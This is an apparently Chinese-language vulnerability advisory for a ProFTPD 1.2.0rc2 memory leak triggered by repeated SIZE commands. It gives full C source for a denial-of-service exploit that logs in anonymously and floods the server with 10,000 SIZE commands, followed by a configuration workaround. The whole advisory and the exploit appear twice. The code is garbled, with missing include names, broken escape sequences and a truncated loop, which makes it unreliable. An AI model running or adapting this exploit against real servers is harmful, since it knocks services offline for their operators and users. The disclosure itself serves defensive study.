描述:
--------------------------------------------------------------------------------
Proftpd是一个流行的Ftp服务软体。它在执行SIZE命令时存在一个记忆体泄漏的
问题,攻击者可以利用此问题进行拒绝服务攻击。
如果执行5000条SIZE命令,将导致系统用300KB记忆体。如果执行大量的SIZE
命令,将使记忆体耗尽,导致拒绝服务攻击。攻击者只需要匿名访问权限即可
进行这种攻击。
<*来源:Wojciech Purczynski (wp@elzabsoft.pl)
Piotr Zurawski [fb] (szur@ix.renet.pl)
*>
测试程序:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* Proftpd DoS
* by Piotr Zurawski (szur@ix.renet.pl)
* This source is just an example of memory leakage in proftpd-1.2.0(rc2)
* server discovered by Wojciech Purczynski.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define USERNAME "anonymous"
#define PASSWORD "dupa@dupa.pl"
#define HOWMANY 10000
void logintoftp();
void sendsizes();
int fd;
struct in_addr host;
unsigned short port = 21;
int tcp_connect(struct in_addr addr,unsigned short port);
int main(int argc, char **argv)
{
if (!resolve(argv[1],&host))
{
fprintf(stderr,"Hostname lookup failure/
");
exit(0);
}
fd=tcp_connect(host,port);
logintoftp(fd);
printf("Logged/
");
sendsizes(fd);
printf("Now check out memory usage of proftpd daemon");
printf("Resident set size (RSS) and virtual memory size (VSIZE)");
printf("fields in ps output");
}
void logintoftp()
{
char snd[1024], rcv[1024];
int n;
printf("Logging " USERNAME "/" PASSWORD "/r/
");
memset(snd, '/0', 1024);
sprintf(snd, "USER %s/r/
", USERNAME);
write(fd, snd, strlen(snd));
while((n=read(fd, rcv, sizeof(rcv))) > 0)
{
rcv[n] = 0;
if(strchr(rcv, '/
') != NULL)break;
}
memset(snd, '/0', 1024);
sprintf(snd, "PASS %s/r/
", PASSWORD);
write(fd, snd, strlen(snd));
while((n=read(fd, rcv, sizeof(rcv))) > 0)
{
rcv[n] = 0;
if(strchr(rcv, '/
') != NULL)
break;
}
return;
}
void sendsizes()
{
char snd[1024], rcv[1024];
unsigned long loop;
printf ("Sending %i size commands... /
", HOWMANY);
for(loop=0;loop {
sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha");
write(fd, snd, strlen(snd));
}
return;
}
int tcp_connect(struct in_addr addr,unsigned short port)
{
int fd;
struct sockaddr_in serv;
bzero(&serv,sizeof(serv)); serv.sin_addr=addr;
serv.sin_port=htons(port);
serv.sin_family=AF_INET;
if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)/
{
perror("socket");
exit(0);
}
if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)
{
perror("connect");
exit(0);
}
return(fd);
}
int resolve(char *hostname,struct in_addr *addr)
{
struct hostent *res;
res=gethostbyname(hostname);
if (res==NULL)
return(0);
memcpy((char *)addr,res->h_addr,res->h_length);
return(1);
}
--------------------------------------------------------------------------------
建议:
临时解决方法:
Dmitry Alyabyev 提供了一个临时解决
方法,限制SIZE命令的使用,在配置文件中增加下列语句:
Deny All
--------------------------------------------------------------------------------
Proftpd是一个流行的Ftp服务软体。它在执行SIZE命令时存在一个记忆体泄漏的
问题,攻击者可以利用此问题进行拒绝服务攻击。
如果执行5000条SIZE命令,将导致系统用300KB记忆体。如果执行大量的SIZE
命令,将使记忆体耗尽,导致拒绝服务攻击。攻击者只需要匿名访问权限即可
进行这种攻击。
<*来源:Wojciech Purczynski (wp@elzabsoft.pl)
Piotr Zurawski [fb] (szur@ix.renet.pl)
*>
测试程序:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* Proftpd DoS
* by Piotr Zurawski (szur@ix.renet.pl)
* This source is just an example of memory leakage in proftpd-1.2.0(rc2)
* server discovered by Wojciech Purczynski.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define USERNAME "anonymous"
#define PASSWORD "dupa@dupa.pl"
#define HOWMANY 10000
void logintoftp();
void sendsizes();
int fd;
struct in_addr host;
unsigned short port = 21;
int tcp_connect(struct in_addr addr,unsigned short port);
int main(int argc, char **argv)
{
if (!resolve(argv[1],&host))
{
fprintf(stderr,"Hostname lookup failure/
");
exit(0);
}
fd=tcp_connect(host,port);
logintoftp(fd);
printf("Logged/
");
sendsizes(fd);
printf("Now check out memory usage of proftpd daemon");
printf("Resident set size (RSS) and virtual memory size (VSIZE)");
printf("fields in ps output");
}
void logintoftp()
{
char snd[1024], rcv[1024];
int n;
printf("Logging " USERNAME "/" PASSWORD "/r/
");
memset(snd, '/0', 1024);
sprintf(snd, "USER %s/r/
", USERNAME);
write(fd, snd, strlen(snd));
while((n=read(fd, rcv, sizeof(rcv))) > 0)
{
rcv[n] = 0;
if(strchr(rcv, '/
') != NULL)break;
}
memset(snd, '/0', 1024);
sprintf(snd, "PASS %s/r/
", PASSWORD);
write(fd, snd, strlen(snd));
while((n=read(fd, rcv, sizeof(rcv))) > 0)
{
rcv[n] = 0;
if(strchr(rcv, '/
') != NULL)
break;
}
return;
}
void sendsizes()
{
char snd[1024], rcv[1024];
unsigned long loop;
printf ("Sending %i size commands... /
", HOWMANY);
for(loop=0;loop {
sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha");
write(fd, snd, strlen(snd));
}
return;
}
int tcp_connect(struct in_addr addr,unsigned short port)
{
int fd;
struct sockaddr_in serv;
bzero(&serv,sizeof(serv)); serv.sin_addr=addr;
serv.sin_port=htons(port);
serv.sin_family=AF_INET;
if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)/
{
perror("socket");
exit(0);
}
if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0)
{
perror("connect");
exit(0);
}
return(fd);
}
int resolve(char *hostname,struct in_addr *addr)
{
struct hostent *res;
res=gethostbyname(hostname);
if (res==NULL)
return(0);
memcpy((char *)addr,res->h_addr,res->h_length);
return(1);
}
--------------------------------------------------------------------------------
建议:
临时解决方法:
Dmitry Alyabyev 提供了一个临时解决
方法,限制SIZE命令的使用,在配置文件中增加下列语句:
Deny All